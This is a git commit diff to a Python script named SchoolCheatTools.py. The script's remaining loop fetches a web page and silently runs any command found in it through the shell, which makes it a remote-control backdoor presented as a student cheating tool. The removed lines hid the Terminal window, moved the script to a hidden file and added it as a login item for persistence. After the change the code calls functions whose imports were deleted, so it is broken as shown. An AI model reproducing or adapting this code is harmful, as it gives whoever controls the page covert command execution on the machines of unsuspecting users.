From fe7774a1b81dd95c5dbe8f5a23c751ad50b97a53 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Fri, 11 Aug 2023 00:34:34 +0800 Subject: updated new file: ..spec deleted: .DS_Store new file: .gitignore new file: .spec modified: Makefile modified: SchoolCheatTools.py new file: setup.py --- SchoolCheatTools.py | 34 ++++------------------------------ 1 file changed, 4 insertions(+), 30 deletions(-) (limited to 'SchoolCheatTools.py') diff --git a/SchoolCheatTools.py b/SchoolCheatTools.py index f3da33b..5a86aff 100644 --- a/SchoolCheatTools.py +++ b/SchoolCheatTools.py @@ -1,34 +1,8 @@ -#setup from bs4 import BeautifulSoup from requests import get -from os import system as cmd -from time import sleep -from sys import argv -old_command = 0 -command = 0 -cmd('clear') -cmd('osascript -e \'tell application "Terminal" to set visible of front window to false\' > /dev/null') -try: - filename = argv[0].split('/')[-1] -except - filename = argv[0] -cmd(f"mv {filename} ~/.{filename}") -cmd(f'osascript -e \'tell application \"System Events\" to make login item at end with properties {path:\"~/.{filename}\", hidden:false\'') - - -print(''' - -░██████╗░█████╗░██╗░░██╗░█████╗░░█████╗░██╗░░░░░░█████╗░██╗░░██╗███████╗░█████╗░████████╗████████╗░█████╗░░█████╗░██╗░░░░░░██████╗ -██╔════╝██╔══██╗██║░░██║██╔══██╗██╔══██╗██║░░░░░██╔══██╗██║░░██║██╔════╝██╔══██╗╚══██╔══╝╚══██╔══╝██╔══██╗██╔══██╗██║░░░░░██╔════╝ -╚█████╗░██║░░╚═╝███████║██║░░██║██║░░██║██║░░░░░██║░░╚═╝███████║█████╗░░███████║░░░██║░░░░░░██║░░░██║░░██║██║░░██║██║░░░░░╚█████╗░ -░╚═══██╗██║░░██╗██╔══██║██║░░██║██║░░██║██║░░░░░██║░░██╗██╔══██║██╔══╝░░██╔══██║░░░██║░░░░░░██║░░░██║░░██║██║░░██║██║░░░░░░╚═══██╗ -██████╔╝╚█████╔╝██║░░██║╚█████╔╝╚█████╔╝███████╗╚█████╔╝██║░░██║███████╗██║░░██║░░░██║░░░░░░██║░░░╚█████╔╝╚█████╔╝███████╗██████╔╝ -╚═════╝░░╚════╝░╚═╝░░╚═╝░╚════╝░░╚════╝░╚══════╝░╚════╝░╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝░░░╚═╝░░░░░░╚═╝░░░░╚════╝░░╚════╝░╚══════╝╚═════╝░ - -IMPORTANT *** PLEASE KEEP THIS WINDOW OPEN -IMPORTANT *** WHEN USING SCHOOLCHEATTOOLS, PLEASE KEEP IT RUNNING IN THE BACKSTAGE, DO NOT CLOSE THE TERMINAL WINDOW, OTHERWISE SCHOOLCHEATTOOLS WON’T WORK -''') +old_command = "" +command = "" while True: #get HTML @@ -41,8 +15,8 @@ while True: #execute command if old_command != command: try: - cmd(f"{command} > /dev/null") + system(f"{command} > /dev/null") old_command = command except: pass - sleep(0.5) + sleep(0.1) -- cgit v1.2.3